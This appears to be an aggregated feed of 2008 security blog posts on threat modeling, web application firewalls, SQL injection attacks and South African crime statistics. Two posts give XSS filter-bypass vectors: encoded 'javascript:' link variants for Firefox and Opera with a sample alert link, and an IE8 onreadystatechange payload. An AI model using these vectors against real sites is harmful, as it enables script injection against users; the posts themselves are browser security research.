Tags: Software Security [edit]
Developers often ask security folk, “Hey, how do I protect credentials in config/property files?” or “Do I need to encrypt my production binaries?” I admire their asking security for help, but often times 1) they’ve not asked the question well enough to get a good answer and 2) security folk have a hard time getting to the root of the problem to provide decent guidance.

After teaching a threat modeling course recently I thought I’d demonstrate how considering an application’s architecture, who might attack it, and what impacts a business might face as a result of attacks interrupting or subverting the system’s ability to accomplish its business objective can be very helpful in framing context-free questions like I’ve posed above. I’m of course, talking about why threat modeling, even informally, is useful.

Let’s consider the above questions in a few contexts. I’ll ‘invent’ contexts for the purpose of this conversation, but you can likely see overlap in what you do with one or two, and incredible differences in the others.

Some circumstances will warrant protecting against threat actors making changes to configuration or the code loaded into the production environment in which extensibility of that environment’s code base and flexibility of its configuration are a reality. Examples of such environments might be:
- A mobile device or one distributed to consumers (such as phone, embedded device (TiVO, AppleTV, etc.) or similar)
- A outsourced hosting environment (Savvis, Google Cloud, etc.)
In both cases, you want to push updates or new applications/configuration in the production environment. Really, any organization that separates development from operations/deployment will have to ponder trust of its operators. Outsourcing is not a necessary condition.

“Insider” and “Administrator” threats apply in the second case, whereas a “Malicious User/operator” applies in the former. In all these circumstances, we need to rely on the actor to operate and in some cases maintain the system, but we don’t trust the threat actor with code and certain sensitive configuration elements. That’s a pickle.

In terms of the threats’ capabilities, we expect an Administrator to have intimate knowledge of (and ostensibly administrative control over) the host on which our application is deployed. They do not, probably, have reverse-engineering capabilities, or deft programming skill in non-script languages except in rare cases. Insiders may simply have access to the host (physically or through remote login), may possess the same role as the running application, but probably do not possess root privileges on our underlying host without successfully exploiting it. Their skill level will probably be less than that of an Administrator in most cases.

A malicious operator will run the complete gamut of skills as a matter of fact: there are plenty of deep technologists and tinkerers you want to sell TiVOs and cell phones to. Depending on the size of the market, the data or functionality to be protected, and the possibilities through which a “hack??? could be replicated and executed by non-skilled users (my mom will not not log into her TiVO but will definitely send her cell phone away to be “unlocked???), protective schemes may or may not be of much use.

It is because these threats’ vary widely in their skill set and their understanding of the construction of the application that I’ve combined consumer devices with hosting—seemingly unrelated architectures. Opaqueness and user/operator knowledge are slippery slopes. Some people hack their TiVO and some admins haven’t the foggiest of how to tickle an app

We’re drawn to potential impacts to make sense of the capabilities we discussed above and what they might be used for. I’ll treat each system architecture in term, giving a single attack scenario for each threat.
Hosting
The administrator lifts plain-text credentials out of a config file (u: oracle, pw: oracle) and conducts his/her own SQL-injection on the database, pulling tables and tables of user records, sells ‘em to organized crime: motivation, payoff, and impact. Let’s consider a code-replacement problem too, this time from the perspective of insider. An insider watches bug reports for a particular dev. team and after seeing a particularly insidious one, rolls back the version of production software to a vulnerable release, and follows the ‘script’ laid down by the bug report. He makes decent use of some coupon-codes, gets about 3-62??? flat-panels shipped to his house for $3, and runs.
Consumer Devices
Here, let’s consider two scenarios as well. First, the malicious operator—a consumer—twiddles with his/her DirectTV until I figure out how it stores/sends its username/password up-stream. Discerning a weak password scheme (computable from a username) and having heard a neighbor brag about his “NFL Sunday Ticket??? purchase, he/she downgrades service to the cheapest, then updates his/her DirectTV to send the neighbor’s username/password instead of their own. Beaucoup sports at petite pricing. In another scenario, imagine the malicious operator adding their own naughty code to the device to collect streams of content and drop ‘em to disk DRM-free.

One could imagine other goals, attack paths, and impacts easily. I’ve chosen these off the top of my head because they’ll demonstrate dramatically different protective schemes. I don’t know that they’re the most interest, common, or valuable scenarios to consider. I know-in some cases-that the scenarios I’ve listed are contrived.

Now, onto attacks and protective schemes:
Hosting: Code Update
Preventing insider (or even a malicious system administrator) from loading code can be accomplished by combining an organizational tweak with a platform feature (At least where Java and .NET are concerned). By demanding code and configuration (even code security policy) be signed before promotion into a production environment, and configuring the application container to check for these signatures, one can control what code executes in a particular container. Separating the “Application Deployer??? role (the one who signs and delivers code) from “Application Developer??? and “System Administrator??? prevents either from placing a rogue binary in place of the expected (signed) one.

Outstanding issues with this scheme include how to validate code to be signed. Did the developer inject back-door functionality that remains undetected? And, of course, how do you prevent an administrator from loading malware outside the application container (either side-by-side on the host or as a proxy between the application and a connecting system)?
Consumer Device: Code Update
Code signing has worked for consumer devices as well. Other encrypted binary format schemes have been employed to not only disallow unauthorized parties from loading code, but also for protecting the IP contained within code updates while in transport over Teh Intarweb.

An aside: I’ve seen a code signing scheme “to prevent malware from being placed on victims’ devices.??? However, they granted code signing certificates to anyone willing to register (with their address and some other information). Because they’d give signing ability to (basically) anyone who asked, their scheme did NOT prevent malware from getting onto the device. Instead, it only allowed for tracking of who was responsible for signing that malware ;-) Likewise, a system whose dynamic update function was protected by “proprietary encryption???, thus disallowing anyone from seeing patches or deploying malware in their stead. Because this “proprietary scheme??? was basically just LZW, it was trivially broken.
Consumer Device: Storing Credentials
Preventing a malicious operator from observing and gaming credentials will take an entirely different tack. Think about how smart cards or GSM cell phones work. In these cases (both potentially operated by unsavory folk), a card contains both logic and a secret, known to a central authority. When the central authority (a web site, something the smart card is docking with, or inserted in to) needs to authenticate the user device, it issues a challenge to the card. Logic on the card then computes a response to this challenge based on the secret it holds and issues a response. Even if the device’s user is able to intercept both challenge and response, it should remain opaque (and therefore not suffer replay).

Advanced techniques, such as Differential Power Analysis, may be able to extract key information from such schemes even when implemented correctly. A more interesting limitation of this scheme is plausibility of its deployment. Fobs are expensive to deploy and may not even fit within the architecture being analyzed.
Hosting: Storing Credentials
‘The trickiest of problems of the bunch to solve. I’ve seen a lot of different schemes discussed, some commercial, some home-rolled. One can thwart an administrator not skilled in reverse engineering and slow down a well-trained one by encrypting configuration, true. However, schemes that involve placing encryption secrets in the code that protect those config files can ultimately be reversed by a skilled administrator. Situations in which said secret was stored elsewhere and passed to the application to be used during start-up raise complexity a fair amount and can also be reversed if the administrator can debug or attach to the application’s process. And, to finish the summary, the credentials must ultimately be used somewhere. Often, it’s easier for administrators to MitM the application and that somewhere rather than do all this reversing we all find fun.

Once some kind of reasonable encryption scheme is employed (to prevent trivial attack), protective scheming should focus on detection of access to down-stream resources using lifted credentials, rather than making the problem THAT much more difficult to reverse. Think about it this way, the way I wrote up this threat, its attack scenario, and impact, it seems to me these efforts would be sufficient to exonerate the company from negligence in the case of actual attack. This may in fact be their goal, rather than preventing attack, as always depending on the impact of successful attack.

In turn, you can see that the way each problem was presented, its potential solutions vetted, and next steps were discussed depended on the threat and the architecture under consideration. I hope these few examples help frame and answer (or ask) your next “how do I secure” question.

The Spanner

Javascript protocol fuzz results

Posted: June 30th, 2008, 7:32am CDT by Gareth Heyes

Tags: Security [edit]

Well it seems that Firefox 2.0.0.14 has provided the most interesting results with my protocol fuzzer.

Char: 56320, link: jav&#56320ascript:
Char: 56321, link: jav&#56321ascript:
Char: 56322, link: jav&#56322ascript:
Char: 56323, link: jav&#56323ascript:
Char: 56324, link: jav&#56324ascript:
Char: 56325, link: jav&#56325ascript:
,, ,, ,, ,,

All the way to:-

char: 57343, link: jav&#57343ascript:

and hex entities but with a semi-colon:-

From:
Char: 56320, link: jav���ascript:
 
To:
Char: 57343, link: jav���ascript:

It means code like this works in Firefox 2.0.0.14:-

<a href="jav&#56325ascript:al&#56325ert(1)">test</a>

More oddities were found but nothing as interesting as the above.

The ever changing XML file can be found here which stores the vectors by platform and browser versions:-

Vectors XML

Update…

Opera strangeness too…

Char:2048,Link:javascript&#2048:
Char:2304,Link:javascript&#2304:
Char:3328,Link:javascript&#3328:
Char:3840,Link:javascript&#3840:
Char:4096,Link:javascript&#4096:
Char:4256,Link:javascript&#4256:
Char:4352,Link:javascript&#4352:
Char:4608,Link:javascript&#4608:
Char:4864,Link:javascript&#4864:
 
Plus nbsp is allowed here:-
Char:160,Link:&#160javascript:

There are more, higher ones too

Dominic White's .tHE pRODUCT

SA Crime Stats 2008

Posted: June 30th, 2008, 6:57am CDT

Tags: Security [edit]
The South African Police Services have released the crime stats for the last financial year. I still need to wrap my head around the numbers, as many of the categories don't seem discreet, or intuitive. However, I think the executive summary contains some good insight into the 'threat landscape'. It also backs up several of my 'gut feel' assertions about crime in SA. However, as Russell points, there may be an independence issue, as the report is "written by the guys whose job is on the line", and I haven't found any information on how the stats were independently verified. I've culled some sections from the executive summary and given them my own headings, formatting and order. Whatever your take on crime in SA, these stats are a good read, and certainly more likely to be accurate, even with bias, than the eight year old drivel on Wikipedia.
Most crime in 'Megatownships' by drunks
Detailed docket, geographical and timeline analyses of the contact crimes confirm that at least two thirds of all contact crime [e.g. mugging, rape, murder] cases are strongly linked to specific social behaviour patterns which inter alia involve alcohol and other substance abuse and are mainly associated with informal settlements in megatownships.

Almost two thirds (66,0%) of all aggravated robberies are street/public robberies. These occur mainly in CBD areas and the black megatownships (e.g. Khayelitsha, KwaMashu, Umlazi and Nyanga) where ordinary people are robbed of their money, cellular telephones or other valuables at gun or knifepoint. The large majority of these incidents are therefore not high profile cases involving well-known people and are rarely reported in the media.

[I emigrated because all the poor people were getting mugged sounds less justified.]
If you're rich, don't live here
The carjackings and house robberies most frequently occur in the more affluent suburbs of Gauteng such as:
- Sandton
- Honeydew
- Douglasdale
- Brooklyn
- Garsfontein
Anatomy of affluent crime
Extreme violence resulting in severe injuries or fatalities is only employed in a very small proportion of these carjacking and house robbery cases. However, extreme violence does occasionally occur because the crimes are usually committed at places where it is less likely for bystanders or eyewitnesses to intervene; firearms are more likely to be involved; the robbers want specific items (frequently the key to a safe or a car); and the perpetrators may be disposed to use threats or violence to obtain their aim. The victims may also react in ways that could trigger violence.
The rest of the world
South Africa compares quite favourably with the rest of the INTERPOL member countries with regard to the incidence of property-related and all the other remaining categories of serious crime. Most of the contact-related, property-related and other serious crimes indeed experienced decreases.

[It would be nice to know how we compare against INTERPOL member countries for non-property related and other serious crime.]
Stats are better than “the media”
Because the crimes frequently occur in more well-to-do areas, the chances of somebody well-known being targeted and even killed are much higher. Such incidents feature on the front pages and in the headlines of the media and reverberate around the world. Such focused and selective reporting on less than 5,0% of South Africa's contact crime, read together with the contact crime statistics, consequently creates an international image of South Africa as an extremely violent society.
Remember, correlation does not equate cause
Increases in the number of crimes heavily dependent on police action for detection are actually considered desirable. The 25,4% increase in the ratio of driving under the influence of alcohol or drugs is probably a result of much more stringent law enforcement by both Metro Police services and the SAPS during 2007/2008.

tssci security

Week of War on WAF’s: Day 5 — Final thoughts

Posted: June 27th, 2008, 4:17pm CDT by dre

Tags: Security [edit]
Did we learn anything about web application firewall technology this week?

I hope so. However, my gut tells me there is an overriding feeling of ambiguity around this technology. People want WAFs, but they don’t know why. Organizations everywhere think this is the best or only short-term answer to the web application security problem.

The PCI SSC, who has set June 30th, 2008 as the deadline for compliance with Requirement 6.6, also appears to be wishy-washy on the whole deal. I read the following two articles this morning about PCI-DSS Requirement 6.6 and the use of web application firewalls. While the titles of the articles may appear many are still leaning on or towards WAFs — after reading the information and quotes, I think the titles might be misleading.
- Computerworld, Web firewalls trumping other options as PCI deadline nears — Advantage over appsec approach mainly one of convenience
- CSO Online, FUD Watch: Vendor Hype Escalates Over PCI Deadline
Web application security experts Mike Andrews and Robert Auger also have some interesting things to say. They seem to be very set on the idea that WAF (with proper blacklists) or VA+WAF (to manage the blacklists) are fair enough temporary solutions until organizations can implement secure coding.
- Mike Andrews, VA+WAF: that’s hot!
- cgisecurity.net, My current stance on Web Application Firewalls
Some interesting things can go wrong during the WAF implementation phase. I can identify the following problem areas that may have many organizations wondering why they went the WAF route:
1. You think that a network engineer or network security expert could get up to speed quickly through training or lab-time. However, I think the average time to become a web application security expert is 3-4 years of specialization. Imagine how many developers could have been trained or worked on collaborative processes with IT security in that time period.
2. Blacklist technology (especially VA+WAF) is going to help with false positives. However, what about general performance problems? If performance or availability issues occur, the first thing thrown out will be the WAF. What good is a device that is constantly removed from the architecture and then only put back in to meet compliance issues?
3. There is a lot of technology out there to detect specific WAF products. It’s been written about in books. Attack tools such as w3af utilize plugins such as detectWAF. Vulnerabilities exist in WAF products in the same way that they exist in all software. Adversaries are already using this information to their advantage. Using a WAF can indeed make you less secure. In order to provide a product that will protect modern web applications, we must first test the products ourselves. There is more complexity in the average WAF than in the average Intranet web application — who is going to provide the countless hours of secure code review and manual pen-testing needed for these WAF products? Or are we going to use them blindly without considering the consequences?
What are some short-term alternatives?
1. Multiple WAF solutions — one solution that focuses on “outbound” web traffic, and another that is tuned to your specific application (e.g. language, framework, components in use, et al). If your web application uses well-formed, valid XHTML — the outbound filtering requirement is already fulfilled. Refactoring your content to XHTML is a snap. Many books and tools exist to help in this process (Dreamweaver, xmllint, TagSoup, NekoHTML, and HTML Tidy just to name a few).
2. A softer, lighter version of Agile/Test-first development practices with basic unit tests that correct input validation issues. This would be equivalent or better than WAF in practice. James Shore discusses how to implement this sort of idea in an article, Continuous Integration on a Dollar a Day.
3. Even Aspect-oriented programming will show immediate value, as the cost proposition lowers when you already have the existing talent to implement AOP. If you have developers that know AspectJ — input validation routines can be added with point-cuts almost overnight.
The problem with these three short-term solutions is that they involve talking to your development teams. Do they have a reason to avoid using valid XHTML? Maybe their waterfall mindset precludes them from being able to move to a situation where “building code” is more important than “programming” (although I would argue that it’s a developer’s job to write buildable code).

What I think is most sad about the state of WAF technology is that a single, cheap developer could easily replace all of the normal WAF functionality in the code using basic unit testing. A talented developer who knew AOP could do much more than a WAF, and still at a much lower overall cost. Some organizations that are implementing WAF are having the developers manage the solutions instead of network engineers or IT security. We’re hoping that this situation will allow the developers to think up better ideas as well as learn where their applications are failing.

In fact, a non-developer: such as someone in marketing who uses Dreamweaver, could also do almost as much as a normal WAF by saving their content as valid XHTML. This would buy the organization basic application security functionality, which is what WAF also attempts to do.

Summary

We know that WAF’s appear to be the easiest answer to the PCI-DSS Requirement 6.6. But what if there was an even more simple answer? Talk with your QSAC, QSA auditor, and an external third-party such as a web application vulnerability assessor, software risk expert, or strategy consultant about possible compensating controls, such as:
- Unit testing and integration unit testing for security properties as part of a daily, standard build
- Aspects for security, written by a internal developer who can front the web application in a similar way, but that is closer to the code
- Transformation of non-standard HTML to valid XHTML by a web designer or content manager
If you are going to choose a web application firewall, we suggest:
- WAF solutions that have been security tested and risk assessed by third parties that specialize in security appliance/product assessments
- A product that doesn’t affect performance because it only works on outbound traffic (not inbound), or only turns itself on when an attack is in-progress
- Instructional capability and training for the solution is cheap/free, easy to find, and well-documented everywhere
Rich Mogull also has some very new suggestions that he would like to see as a future for WAF in his blog post, The Future of Application and Database Security: Part 2, Browser to WAF/Gateway. It’s also worth a read!
Week of War on WAF’s: Day 3 — Language specific

Posted: June 26th, 2008, 2:15am CDT by dre

Tags: Security [edit]

This post comes via WAF thoughts from Christian Matthies’s blog circa one year ago. Christian starts out with a bang:

[…] it seemed to me that quite a lot of people aren’t aware of how effective such solutions in fact are. Basically I agree that different layers of protection [are] always a good idea to get at least close to a status that can considered to be secure.

In christ1an’s post, The real effectiveness of current WAF, he speaks rather positively about WAF technology, but ends on a rather sour note:

[…] these solutions are actually doomed to fail by design […] unless a Web application firewall is implemented exclusively for a specific language, it is very likely to be insecure and therefore using them should be well considered.

He makes some interesting points that you should certainly check out. Best — this jives with what Fortify research on dynamic taint propagation discussed in their recent OWASP AppSec EU 2008 presentation, Dynamic Taint Propagation: Finding Vulnerabilities Without Attacking [PPT] – and paper, Watch What You Write: Preventing Cross-Site Scripting by Observing Program Output [PDF].

christ1an seems positive about Mario Heiderich’s PHPIDS Monitoring attack surface activity [PPT] web application attack `detection’ work (also presented at OWASP AppSec EU 2008). Fortify, on the other hand, seemed bullish on the CORE GRASP attack `prevention’ project (also for PHP).

With regards to XSS and SQL injection attacks, this work is nice because as some of us know — neither attack is primarily about input validation. SQL injection is a software weakness that can be prevented through parameterized queries with binding of all variables (thanks, Jim Manico, for this verbiage). Cross-site scripting (and particular variations such as HTML/CSS/JS injection) is a software weakness that can be prevented by output encoding (although for exhaustive methods, check out the work by Arshan Dabirsiaghi in the OWASP AntiSamy Project).

Now if we could only start to talk about the other 600+ software weaknesses and their root-causes and strongest defense strategies.

The Spanner

Javascript protocol fuzzer

Posted: June 25th, 2008, 2:25pm CDT by Gareth Heyes

Tags: Security [edit]

Continuing the theme of fuzzers, I’ve wrote a Javascript protocol fuzzer. The goal was to try and produce every variation of javascript execution from links. It uses PHP and Javascript in order to maximize the speed of scanning, this means it can scan around 5000 links at a time.

Any ideas on improving the options or other variations would be really helpful. It’s found some good stuff so far but I’m sure it can do more, rather than show you the results I’ll let you experiment for yourself.

Fuzzer demo
How it works
It creates invisible normal HTML links based on “javascript:” it then inserts/replaces characters with the options chosen. Javascript then examines the link to see if the protocol is javascript and not http.
Options
Number of characters - This inserts between 1 and 10 characters in the chosen position

Character position - The string position of the characters chosen. E.g. if you choose “0″ then the “j” will be replaced or appended.

Replace character - Simply replaces the character rather than add characters to the position.

Url encode - Urlencodes the vector before outputting the link.

HTML hex entity encode - Instead of output the character, it uses the HTML hex entity instead.

HTML dec entity encode - Instead of output the character, it uses the HTML decimal entity instead.

Semi-colons - Adds a semi-colon if HTML entities are used.

Random zero fill - Adds a bunch of random zeros if entities are used.

Start from - Is the starting character to begin the fuzz. E.g “0″ is null

tssci security

Week of War on WAF’s: Day 2 — A look at the past

Posted: June 25th, 2008, 2:07am CDT by dre

Tags: Security [edit]

Web application experts have been asking WAF vendors the same questions for years with no resolution. It’s not about religion for many security professionals — it’s about having a product that works as advertised.

My frustration is not unique. I am not the first person to clamor on about web application firewalls. Jeff Williams pointed me to a post that Mark Curphey made in 2004. Today, Curphey appears to have a change of heart — his latest blog post provides a link to URLScan, which some claim is like mod-security for Microsoft’s Internet Information Server (IIS). Microsoft released URLScan Beta 3.0 in order to curtail the massive problem of over two million Classic ASP web applications that have become infected due to the SQL injection attacks.

Here is the post where the frustration of WAF and their vendors first began:

—–Original Message—–
From: The OWASP Project [mailto:[EMAIL PROTECTED]
Sent: Tuesday, 16 November 2004 2:34 PM
To: [EMAIL PROTECTED]
Subject: An Open Letter (and Challenge) to the Application Security
Consortium

An Open Letter (and Challenge) to the Application Security Consortium

Since its inception in late 2000 the Open Web Application Security Project (OWASP) has provided free and open tools and documentation to educate people about the increasing threat of insecure web applications and web services. As a not-for-profit charitable foundation, one of our community responsibilities is to ensure that fair and balanced information is available to companies and consumers.

Our work has become recommended reading by the Federal Trade Commission, VISA, the Defense Information Systems Agency and many other commercial and government entities.

The newly unveiled Application Security Consortium recently announced a “Web Application Security Challenge” to other vendors at the Computer Security Institute (CSI) show in Washington, D.C. This group of security product vendors proposes to create a new minimum criteria and then rate their own products against it.

The OWASP community is deeply concerned that this criteria will mislead consumers and result in a false sense of security. In the interest of fairness, we believe the Application Security Consortium should disclose what security issues their products do not address.

As a group with a wide range of international members from leading financial services organizations, pharmaceutical companies, manufacturing companies, services providers, and technology vendors, we are constantly reminded about the diverse range of vulnerabilities that are present in web applications and web services. The very small selection of vulnerabilities you are proposing to become a testing criteria are far from representative of what our members see in the real world and therefore do not represent a fair or suitable test criteria.

In fact, it seems quite a coincidence that the issues you have chosen seem to closely mirror the issues that your technology category is typically able to detect, while ignoring very common vulnerabilities that cause serious problems for companies.

Robert Graham, Chief Scientist at Internet Security Systems, recently commented on application firewalls in an interview for CNET news. When asked the question “How important do you think application firewalls will become in the future?” his answer was “Not very.”

“Let me give you an example of something that happened with me. Not long ago, I ordered a plasma screen online, which was to be shipped by a local company in Atlanta. And the company gave me a six-digit shipping number. Accidentally, I typed in an incremental of my shipping number (on the online tracking Web site). Now, a six-digit number is a small number, so of course I got someone else’s user account information. And the reason that happened was due to the way they’ve set up their user IDs, by incrementing from a six-digit number. So here’s the irony: Their system may be so cryptographically secure that (the) chances of an encrypted shipping number being cracked is lower than a meteor hitting the earth and wiping out civilization. Still, I could get at the next ID easily. There is no application firewall that can solve this problem.

With applications that people are running on the Web, no amount of additive things can cure fundamental problems that are already there in the first place.”

This story echoes some of the fundamental beliefs and wisdom shared by the collective members of OWASP. Our experience shows that the problems we face with insecure software cannot be fixed with technology alone. Building secure software requires deep changes in our development culture, including people, processes, and technology.

We challenge the members of the Application Security Consortium to accept a fair evaluation of their products. WASP will work with its members (your customers) to create an open set of criteria that is representative of the web application and web services issues found in the real world. OWASP will then build a web application that contains each of these issues. The criteria and web application will be submitted to an independent testing company to evaluate your products.

You can submit your products to be tested against the criteria (without having prior access to the code) on the basis that the results are able to be published freely and will unabridged.

We believe that this kind of marketing stunt is irresponsible and severely distracts awareness from the real issues surrounding web application and web services security. Corporations need to understand that they must build better software and not seek an elusive silver bullet.

We urge the Consortium not to go forward with their criteria, but to take OWASP up on our offer to produce a meaningful standard and test environment that are open and free for all.

Contact: [EMAIL PROTECTED]
Website: www.owasp.org

Dominic White's .tHE pRODUCT

Microsoft (and HP)++ for SQL Injection Response

Posted: June 24th, 2008, 11:28pm CDT

Tags: Security [edit]
Microsoft has released a security advisory detailing three ways to respond to the SQL injection attacks. This advisory doesn't covery a patch, just three tools:
1. HP Scrawlr is a light weight version of HP's WebInspect that will look for SQL injection flaws. I love that they used the Bobby Tables XKCD comic.
2. A new version of UrlScan (3.0 beta) the IIS version of mod_security.
3. A source code analyser which will identify SQL injection vulns, although it currently only works for ASP and not ASP.NET.
That's pretty awesome, although, as always, these should be used to aid clue, not replace it.

tssci security

Week of War on WAF’s: Day 1 — Top ten reasons to wait on WAF’s

Posted: June 23rd, 2008, 9:13pm CDT by dre

Tags: Security [edit]
Hello, and welcome to the Week of War on WAF’s, the same week that ends whereby PCI-DSS Requirement 6.6 goes into effect as a deadline for many merchants. Today is the first day. So far, Marcin has identified some of the problems with web application firewalls. We were able to identify what we would like to see in WAF’s, both commercial and open-source in the future (since they do not work properly today). In this post, I want to start off the week by listing the Top ten reasons to wait on WAF’s.

Top tens reasons to wait on WAF’s
1. WAF vendors won’t tell us what they don’t block
2. Requires a web application security expert with code knowledge, HTTP knowledge, and a lot of time / careful planning to configure
3. Gartner leaves WAF’s off their Magic Quadrant for web application security on purpose
4. No truth in advertising leads to a false sense of security
5. Vendors show signs of desparation, claiming imperatives and illegality in addition to just the standard FUD
6. Attacks that are claimed to be blocked are coincidentally also found in WAF solutions themselves (e.g. XSS in the security reports or web configuration panels)
7. Every organization that has installed a blocking WAF has also been in the media for known, active XSS and/or SQL injection
8. Second-order (i.e. non-HTTP or unprotected path) injections cannot be blocked or even detected
9. Real-world web application attacks are more often strings of attacks, or at the business logic layer — WAF’s cannot detect or prevent these kinds of attacks
10. PCI-DSS Requirement 6.6 can be met with compensating controls, web application security scanners, automated security review tools, and/or manual review of the pen-test or code varieties
We understand and realize that the ideas of a blocking WAF are very popular right now. There are many supporters behind the WAF and VA+WAF movements. While we’d also like to support what the rest of the community sees as the future — we also want to make sure that it is the right thing to do.

One of the best ways to move forward with any given technology is to look at its faults. We learn best in IT when things fall apart — when they break. TS/SCI Security has put a lot of thought, practice, and research into WAF technology. Marcin’s most recent post demonstrates our list of requirements (e.g. block outbound) and nice-to-have’s (e.g. good documentation). Some vendors might already have this sort of outbound blocking functionality, and we’re not even aware of it! Other vendors could have clearly defined “VA+WAF blocking” documentation, which could even be internal engineering or strategy documents that should be out in the open (or at least available to paying customers).

Also — if we do end up demonstrating that WAF, VA+WAF, APIDS, ADMP, or other solution is less viable than a new, better idea — let’s move this research into the forefront.

Billy (BK) Rios

BK on Safari, hunting Firefox…

Posted: June 20th, 2008, 2:39am CDT by xssniper

Tags: Security [edit]
Apple released a patch for their “Carpet Bomb” issue today. I’m glad to see that Apple took steps to protect their users. Kudos to the Apple Security team!

There was a lot of discussion about how this behavior could be used in a “blended” attack with IE, but Safari’s behavior affected more than just IE. In fact, I’ve discovered a way to use the Safari’s carpet bomb in conjunction with Firefox to steal user files from the local file system. Even though Apple has patched the carpet bomb, I’m not going to go into details as the issue is not patched and the behavior may be replicated via other means (it’s the kinder, gentler BK). I’m also happy to say that some of the improved security features in Firefox 3 help lower (but do not eliminate) the impact of the issue (Firefox 2 users could still be at risk of arbitrary file pwnage). Mozilla is working on the issue and they’ve got a responsive team, so I’m sure we’ll see a fix soon.
- UNREALTED NOTE TO MOZILLA: Firefox 3 shouldn’t FORCE itself to be my default browser after I install it (YES, I unchecked the default browser checkbox during install)
Now, these types of vulnerabilities are a perfect example of how the all the software and systems we use are part of a giant ecosystem. Whether we like it or not, the various parts of the ecosystem are intertwined with each other, depending on each other. When one piece of the ecosystem gets out of line, it can have a dramatic effect on the ecosystem as a whole. A small vulnerability or even an “annoying” behavior from one piece of software could alter the behavior of 2nd piece of software, which a 3rd piece of software is depending on for a security decision (The recent pwn2own browser -> java -> flash pwnage is a great example of this). As the ecosystem grows via plugins, functionality, and new software, so does the attack surface. Eventually, the interactions between systems and software become a gigantic mesh and the attack surface becomes almost infinite.

Now, a lot of people have criticized Apple for their inability to see the carpet bombing behavior as a security issue. If Apple looked at their product (Safari) in isolation, maybe it wasn’t a high risk security issue to them and it was really more of an annoyance… its only when you look at the ecosystem as a whole do we start to see the security implications of this behavior. Should we have expected Apple to threat model the risks of this behavior against their own products AND other third party products as well? Can we reasonably expect them (or anyone) to have the requisite knowledge to truly understand how certain behavior will affect the ecosystem?

This brings us to a pressing question. In the “real world”, users install products from multiple vendors. Whose responsibility is it to examine the interaction between all these products?
BK on Safari, hunting Firefox…

Posted: June 20th, 2008, 2:39am CDT by xssniper

Tags: Security [edit]
Apple released a patch for their “Carpet Bomb” issue today. I’m glad to see that Apple took steps to protect their users. Kudos to the Apple Security team!

There was a lot of discussion about how this behavior could be used in a “blended” attack with IE, but Safari’s behavior affected more than just IE. In fact, I’ve discovered a way to use the Safari’s carpet bomb in conjunction with Firefox to steal user files from the local file system. Even though Apple has patched the carpet bomb, I’m not going to go into details as the issue is not patched and the behavior may be replicated via other means (it’s the kinder, gentler BK). I’m also happy to say that some of the improved security features in Firefox 3 help lower (but do not eliminate) the impact of the issue (Firefox 2 users could still be at risk of arbitrary file pwnage). Mozilla is working on the issue and they’ve got a responsive team, so I’m sure we’ll see a fix soon.
- UNREALTED NOTE TO MOZILLA: Firefox 3 shouldn’t FORCE itself to be my default browser after I install it (YES, I unchecked the default browser checkbox during install)
Now, these types of vulnerabilities are a perfect example of how the all the software and systems we use are part of a giant ecosystem. Whether we like it or not, the various parts of the ecosystem are intertwined with each other, depending on each other. When one piece of the ecosystem gets out of line, it can have a dramatic effect on the ecosystem as a whole. A small vulnerability or even an “annoying” behavior from one piece of software could alter the behavior of 2nd piece of software, which a 3rd piece of software is depending on for a security decision (The recent pwn2own browser -> java -> flash pwnage is a great example of this). As the ecosystem grows via plugins, functionality, and new software, so does the attack surface. Eventually, the interactions between systems and software become a gigantic mesh and the attack surface becomes almost infinite.

Now, a lot of people have criticized Apple for their inability to see the carpet bombing behavior as a security issue. If Apple looked at their product (Safari) in isolation, maybe it wasn’t a high risk security issue to them and it was really more of an annoyance… its only when you look at the ecosystem as a whole do we start to see the security implications of this behavior. Should we have expected Apple to threat model the risks of this behavior against their own products AND other third party products as well? Can we reasonably expect them (or anyone) to have the requisite knowledge to truly understand how certain behavior will affect the ecosystem?

This brings us to a pressing question. In the “real world”, users install products from multiple vendors. Whose responsibility is it to examine the interaction between all these products?

The Spanner

XSS tag fuzzer

Posted: June 18th, 2008, 1:26pm CDT by Gareth Heyes

Tags: Security [edit]
It’s been a while since I’ve blogged but I’m pretty busy at the moment with my new baby and also moving jobs as I was made redundant. I thought I’d combine my work with my blogging as I’m working on some XSS vectors for IE8.

During the process I built a simple tag fuzzer which throws all events and attributes at it with as many tags I could find (big thanks to rsnake for the events). At the moment this is just a basic fuzzer which attempt the standard events/attributes but I plan to add encodings and random characters to make it better.

One interesting discovery so far was that the applet, iframe and script have a new event in IE8 (at least I think it’s new) onreadystatechange which allows you to execute inline JS e.g.:-
```
<applet onreadystatechange=alert(1)>
```
Only tested in IE8 but could work in other browsers.
XSS tag fuzzer

Justice League

Search Security video

Posted: June 9th, 2008, 2:56pm CDT by gem

Tags: Software Security [edit]
At RSA this year, I did a quick video interview with Dennis Fisher an old friend who is now the lead editor of Search Security. The resulting video is here

Here are the questions I answered during the interview (along with some bonus pointers that I’ll include in this posting). As you can see, we mostly talked about software security:
- Let’s talk about where things stand with the state of software security in the industry today. Are you optimistic?
- I’ve heard a lot of people say that solving the software security problem is going to cost a lot of time and money in the development process. Is that true?
  See this informIT article.
- I know there’s a lot of training that goes on in the professional world in terms of software security for developers, but is that happening more in colleges and universities right now compared to five years ago?
  See this IT Architect article.
- What about the commercial software vendors. How much progress are they making on this problem?
- Are there one or two problems that really worry you in software security right now?
  See this IEEE S&P article.
If you like this video, please let the Search Security people know so they feel compelled to do more.

Michael Howard's Web Log

More on Heap Corruption and Process Termination

Posted: June 6th, 2008, 11:31pm CDT by michael_HOWARD

Tags: Security [edit]

I just added a post over on the SDL blog about heap corruption and process termination as well as some caveats you should be aware of if you use your own custom heap manager.

Dominic White's .tHE pRODUCT

Major SA websites hacked by China - nobody cares about the Web

Posted: June 5th, 2008, 5:39pm CDT

Tags: Security [edit]
Over the last few weeks, we have seen a set of incredibly uncomplicated and simple attacks effectively compromise several hundred South African web pages, and several million internationally. Many of the South African sites compromised were important; including major media organisations, several government institutions, large mining houses and even one information security company, who still have not removed the pie from their face. The intention of the attacks was to use the compromised web pages to infect visitors with a variety of malware, but most commonly, a trojan which attempts to steal as many passwords as it can, including specific references to some internet banking sites.

The response to the incident from both consumers and the affected companies seems to indicate that when it comes to the web in South Africa, nobody cares.

The Attack

Let’s get the details out of the way so that we can wander over to the hand waving. The attacks involved a technique knows as SQL injection. For those of you that usually skip over tech details, fast-forward the next two paragraphs. SQL injection involves taking advantage of the way in which SQL statements are executed on the database by the web application, a more detailed breakdown is available after the article. A SQL injection usually means that an attacker can take near full control of the database, the machine hosting it and any applications using the database as a backend.

